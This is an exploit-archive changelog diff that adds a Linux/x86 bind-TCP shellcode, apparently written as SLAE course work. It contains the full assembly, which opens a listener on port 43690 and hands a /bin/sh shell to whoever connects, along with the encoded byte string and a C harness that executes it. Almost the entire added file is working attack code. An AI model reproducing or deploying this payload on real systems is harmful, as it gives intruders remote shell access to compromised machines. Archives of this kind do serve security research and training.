DB: 2019-09-18

1 changes to exploits/shellcodes

Linux/x86 - Bind TCP (port 43690) Null-Free Shellcode (53 Bytes)

files_shellcodes.csv

@@ -1001,3 +1001,4 @@ id,file,description,date,author,type,platform
 47292,shellcodes/linux_x86-64/47292.c,"Linux/x86_64 - AVX2 XOR Decoder + execve(_/bin/sh_) Shellcode (62 bytes)",2019-08-19,"Gonçalo Ribeiro",shellcode,linux_x86-64
 47296,shellcodes/linux/47296.c,"Linux/MIPS64 - Reverse (localhost:4444/TCP) Shell Shellcode (157 bytes)",2019-08-20,antonio,shellcode,linux
 47352,shellcodes/linux_x86/47352.c,"Linux/x86 - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Byte Free Shellcode (107 Bytes)",2019-09-05,guly,shellcode,linux_x86
+47396,shellcodes/linux_x86/47396.c,"Linux/x86 - Bind TCP (port 43690) Null-Free Shellcode (53 Bytes)",2019-09-17,"Daniel Ortiz",shellcode,linux_x86

shellcodes/linux_x86/47396.c

@@ -0,0 +1,134 @@
+#---------------------- DESCRIPTION -------------------------------------#
+
+; Title: Linux/x86 bind tcp shellcode (port 43690) null-free 
+; Author: Daniel Ortiz
+; Tested on: Linux 4.18.0-25-generic #26 Ubuntu
+; Size: 53 bytes
+; SLAE ID: PA-9844
+
+
+
+section .DATA
+
+section .BSS
+
+
+section .TEXT
+
+global _start
+
+  _start:
+
+  ; int socket(int domain, int type, int protocol); 
+
+  xor eax, eax
+  xor ebx, ebx
+  cdq
+
+  push eax              ; protocol - 0
+  push byte 0x1         ; type - SOCK_STREAM
+  push byte 0x2         ; dominio - AF_INET
+  
+  mov ecx, esp          
+  inc bl                ; sys_socket 
+  mov al, 102           ; socketcall system call
+  int 0x80
+
+  mov esi, eax ; save the socketfd
+  
+  ; bind(soc, (struct sockaddr *)&srv_addr, 0x10)
+
+
+  push edx
+  push word 0xAAAA
+  push word 2
+  mov ecx, esp
+  push byte 0x10        ; last argument
+  push ecx              ; pointer to the structure
+  push esi              ; socketfd 
+  mov ecx, esp    
+  inc bl                ; bl contains 2
+  mov al, 102
+  int 0x80
+
+
+  ; int listen(int sockfd, int backlog);
+
+  push edx
+  push esi
+  mov ecx, esp
+  mov bl, 0x4         ; bl contains 4
+  mov al, 102
+  int 0x80
+
+  ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
+  
+  push edx
+  push edx
+  push esi            ; socketfd
+  mov ecx, esp
+  inc bl              ; bl contains 5 
+  mov al, 102
+  int 0x80
+  mov ebx, eax
+
+  ; int dup2(int oldfd, int newfd, int flags);
+
+  xor ecx, ecx
+  mov cl, 3
+  l00p:
+    dec cl
+    mov al, 63
+    int 0x80
+    jnz l00p
+
+
+  ; int execve(const char *filename, char *const argv[],char *const envp[]) 
+
+  push edx
+  push long 0x68732f2f
+  push long 0x6e69622f
+  mov ebx, esp
+  push edx
+  push edx
+  mov ecx, esp
+  mov al, 0x0b
+  int 0x80
+
+
+  ; exit syscall
+  xor eax, eax
+  mov al, 0x1
+  mov bl, 0x8
+  int 0x80
+
+/*
+
+shellcode.c program 
+
+*/
+
+#include<stdio.h>
+#include<string.h>
+
+unsigned char code[] = \
+
+"\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66"
+"\xcd\x80\x89\xc6\x52\x66\x68\xaa\xaa\x66\x6a\x02\x89\xe1\x6a\x10"
+"\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04"
+"\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89"
+"\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x52\x68\x2f"
+"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x52\x89\xe1\xb0\x0b"
+"\xcd\x80\x31\xc0\xb0\x01\xb3\x08\xcd\x80";              
+   
+
+main()
+{
+
+        printf("Shellcode Length:  %d\n", strlen(code));
+
+        int (*ret)() = (int(*)())code;
+
+        ret();
+
+}